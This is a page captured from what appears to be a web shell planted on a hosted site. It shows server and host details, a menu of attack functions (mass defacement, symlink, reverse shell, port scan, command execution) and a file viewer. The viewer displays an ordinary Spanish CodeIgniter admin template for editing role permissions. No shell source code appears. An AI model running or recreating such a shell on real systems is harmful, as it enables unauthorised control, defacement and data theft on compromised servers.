Tul xxx Tul
User / IP
:
216.73.216.191
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
gimnasiofitnes
/
app
/
Views
/
admin
/
roles
/
Viewing: edit.php
<?= $this->extend('layout/app'); ?> <?php $this->section('title'); ?> Editar Rol <?php $this->endSection(); ?> <?php $this->section('css'); ?> <?php $this->endSection(); ?> <?php $this->section('content'); ?> <div class="app-title"> <div> <h1><i class="bi bi-pencil-square"></i> Editar Rol</h1> <p>Modificar rol existente</p> </div> <ul class="app-breadcrumb breadcrumb"> <li class="breadcrumb-item"><i class="bi bi-house-door fs-6"></i></li> <li class="breadcrumb-item"><a href="<?= base_url('admin'); ?>">Admin</a></li> <li class="breadcrumb-item"><a href="<?= base_url('admin/roles'); ?>">Roles</a></li> <li class="breadcrumb-item active">Editar</li> </ul> </div> <div class="card"> <div class="card-body"> <?php if (session()->getFlashdata('errors')): ?> <div class="alert alert-danger"> <ul> <?php foreach (session()->getFlashdata('errors') as $error): ?> <li><?= esc($error) ?></li> <?php endforeach ?> </ul> </div> <?php endif; ?> <form method="post" action="<?= base_url('admin/roles/' . $role['id']) ?>"> <input type="hidden" name="_method" value="PUT"> <?= csrf_field() ?> <div class="mb-3"> <label for="name" class="form-label">Nombre del Rol</label> <input type="text" class="form-control" id="name" name="name" value="<?= esc($role['name']) ?>" required> </div> <div class="mb-3"> <label class="form-label d-flex justify-content-between"> <span>Permisos</span> <button type="button" class="btn btn-sm btn-outline-secondary" id="toggleAllPermissions" data-checked="false"> Seleccionar Todo </button> </label> <?php $grouped = []; foreach ($permissions as $perm) { $grouped[$perm['menu']][] = $perm; } ?> <?php foreach ($grouped as $menu => $perms): ?> <div class="border rounded p-2 mb-3"> <div class="d-flex justify-content-between align-items-center mb-2"> <strong><?= esc($menu) ?></strong> <button type="button" class="btn btn-sm btn-outline-primary toggle-group" data-group="<?= esc($menu) ?>" data-checked="false"> Seleccionar Grupo </button> </div> <div class="row"> <?php foreach ($perms as $perm): ?> <?php $value = $perm['menu'] . ':' . $perm['action']; $checked = isset($role) && in_array($value, $role['permisos'] ?? []) ? 'checked' : ''; ?> <div class="col-md-4"> <div class="form-check"> <input class="form-check-input perm-checkbox" type="checkbox" name="permissions[]" value="<?= esc($value) ?>" id="perm_<?= $perm['id'] ?>" data-group="<?= esc($perm['menu']) ?>" <?= $checked ?>> <label class="form-check-label" for="perm_<?= $perm['id'] ?>"> <?= esc($perm['action']) ?> </label> </div> </div> <?php endforeach ?> </div> </div> <?php endforeach ?> </div> <button type="submit" class="btn btn-primary">Actualizar</button> <a href="<?= base_url('admin/roles') ?>" class="btn btn-secondary">Cancelar</a> </form> </div> </div> <?php $this->endSection(); ?> <?php $this->section('js'); ?> <script> document.addEventListener('DOMContentLoaded', () => { const toggleAll = document.getElementById('toggleAllPermissions'); // Toggle general toggleAll?.addEventListener('click', () => { const checkboxes = document.querySelectorAll('.perm-checkbox'); const check = toggleAll.dataset.checked !== 'true'; checkboxes.forEach(cb => cb.checked = check); toggleAll.dataset.checked = check; toggleAll.innerText = check ? 'Deseleccionar Todo' : 'Seleccionar Todo'; }); // Toggle por grupo document.querySelectorAll('.toggle-group').forEach(button => { button.addEventListener('click', () => { const group = button.dataset.group; const checkboxes = document.querySelectorAll(`.perm-checkbox[data-group="${group}"]`); const check = button.dataset.checked !== 'true'; checkboxes.forEach(cb => cb.checked = check); button.dataset.checked = check; button.innerText = check ? 'Deseleccionar Grupo' : 'Seleccionar Grupo'; }); }); // Evaluar estado inicial al cargar const allCheckboxes = document.querySelectorAll('.perm-checkbox'); const checkedCheckboxes = document.querySelectorAll('.perm-checkbox:checked'); if (allCheckboxes.length === checkedCheckboxes.length && allCheckboxes.length > 0) { toggleAll.dataset.checked = 'true'; toggleAll.innerText = 'Deseleccionar Todo'; } const groups = new Set(Array.from(allCheckboxes).map(cb => cb.dataset.group)); groups.forEach(group => { const groupCheckboxes = document.querySelectorAll(`.perm-checkbox[data-group="${group}"]`); const groupChecked = document.querySelectorAll(`.perm-checkbox[data-group="${group}"]:checked`); const groupButton = document.querySelector(`.toggle-group[data-group="${group}"]`); if (groupCheckboxes.length === groupChecked.length && groupCheckboxes.length > 0) { groupButton.dataset.checked = 'true'; groupButton.innerText = 'Deseleccionar Grupo'; } }); }); </script> <?php $this->endSection(); ?>
Coded With 💗 by
0x6ick